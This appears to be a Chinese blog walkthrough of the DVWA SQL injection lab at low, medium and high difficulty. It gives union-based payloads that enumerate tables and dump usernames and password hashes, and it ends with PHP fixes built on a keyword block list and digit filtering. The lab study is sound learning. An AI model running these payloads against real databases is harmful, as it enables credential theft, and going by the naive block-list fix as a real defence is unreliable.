[dvwa] sql injection

简介: [dvwa] sql injection

sql injection

0x01 low

sql语句没有过滤

经典注入,通过逻辑or为真相当于select * from users where true,99换成1也成

用union select 对齐列数,查看数据库信息

1’ union select 1,2#

order by探测对齐列数更方便

1’ or 1=1 order by 1,2#

比union select多一个判断

考虑编码

1’ union select 1,group_concat(table_name) COLLATE utf8_general_ci from information_schema.tables where table_schema=‘dvwa’#

还得是stack overflow nb https://stackoverflow.com/questions/20456152/mysql-error-illegal-mix-of-collations-for-operation-union

表guestbook, users

1’ union select 1,group_concat(column_name) COLLATE utf8_general_ci from information_schema.columns where table_name=‘users’#

列: user_id,first_name,last_name,user,password,avatar,last_login,failed_login

1’ union select group_concat(user_id),group_concat(password) COLLATE utf8_general_ci from dvwa.users #

1’ or 1=1 union select group_concat(user_id),group_concat(password) COLLATE utf8_general_ci from dvwa.users #

拿到密码

和直接在数据库中看到的一致

0x02 medium

从select元素中获取值,提交,显示

抓包观察,修改,发现存在注入

数字型注入

order by 3 报错,说明有两列select

1 union select 1, group_concat(table_schema) COLLATE utf8_general_ci from information_schema.tables where table_schema = database()

1 union select 1, group_concat(table_name) COLLATE utf8_general_ci from information_schema.tables where table_schema = database()#

id=1 union select 1, group_concat(column_name) COLLATE utf8_general_ci from information_schema.columns where table_name = 0x7573657273#

1 or 1=1 union select group_concat(user_id),group_concat(password) from users

搞定

数字型注入,单引号被过滤

0x03 high

使用limit 1限制显示,使用#注释即可

输入和回显不在同一页面可防止sqlmap攻击

1’ union select 1,group_concat(table_name) COLLATE utf8_general_ci from information_schema.tables where table_schema = ‘dvwa’#

1’ union select 1,group_concat(column_name) COLLATE utf8_general_ci from information_schema.columns where table_name = ‘users’#

1’ union select group_concat(user_id),group_concat(password) COLLATE utf8_general_ci from users #

0x04 Repair 漏洞修复

修复漏洞,同时保证保证功能完整

0x0401 Chars 字符型

过滤关键字,发现不合规的输入就die终止

使用str_replace要优于preg_replace,它将所有的$search替换为$replace,$count显示替换的次数

非法输入

不可以打哦

详细代码

$suspects = array("'"," ","and","or","union","select","#","\\",";","order","by","--","\"");
$allnull = array();
for ($i = 0;$i<count($suspects);$i += 1){
  array_push($allnull,'Hacker');
}
$count = 0;
$id = $_REQUEST[ 'id' ];
$id = str_replace($suspects,$allnull,$id,$count);
if($count>0){
  die("no, can not hack");
}

0x0402 Numbers 数字型

intival将串转为数字,is_numberic判断串是否为数字

用正则匹配所有数字,提取出来重新组成串

这个串中只有数字,如果抓包修改为id=3 or 1=1那么id会变成311。虽然是一个不合法的数据,也可以阻止了union select恶意查询

打开注释内容,更有效。它检测到非数字就会die终止程序

//  $judge = is_numeric($id);
//  if($judge== false){
//    die("sorry, can not pass");
//  }
  preg_match_all('!\d+!', $id, $matches);
  $numbers = $matches[0];
  $id  = implode('',$numbers);
相关文章
|
2月前
|
SQL Oracle Java
SQL 注入神器:jSQL Injection 保姆级教程
SQL 注入神器:jSQL Injection 保姆级教程
|
2月前
|
SQL 安全 数据库
[dvwa] sql injection(Blind)
[dvwa] sql injection(Blind)
|
9月前
|
SQL Java 数据库连接
sql injection violation, syntax error: syntax error, error in :‘**‘expect IDENTIFIER, actual IDENTIF
sql injection violation, syntax error: syntax error, error in :‘**‘expect IDENTIFIER, actual IDENTIF
148 0
java.sql.SQLException: sql injection violation
本文目录 1. 报错信息 2. 问题分析 3. 排除法 4. 解决方案
2206 0
|
SQL 安全 关系型数据库
DVWA-SQL注入(SQL Injection)低/中/高级别
DVWA是一个用来联系渗透的靶场,其中包含数个漏洞模块,本篇博客向大家简单介绍下SQL注入(SQL Injection)模块三个级别(low/medium/high)的通关步骤
1250 2
DVWA-SQL注入(SQL Injection)低/中/高级别
|
SQL 安全 Linux
kali linux 网络渗透测试学习笔记(二)OWASP ZAP工具扫描SQL injection漏洞失败
按照惯例,利用OWASP ZAP工具扫描SQL injection漏洞时,应该很快就可以扫描出来,但是在笔者进行扫描的时候,却遇到了以下状况: 这说明了该工具根本就没能够扫描出SQL注入的漏洞,不知道该如何解决。
2247 0
|
SQL 机器学习/深度学习
DNN(DotNetNuke) Sql Injection 攻击
最近有一些DNN网站报告收到Sql Injection攻击   因为Sql injection 攻击利用的是网站中动态执行的sql语句比如通过字符串连接生成并直接执行的sql语句,或者通过EXEC或sp_execute执行的存储过程。
817 0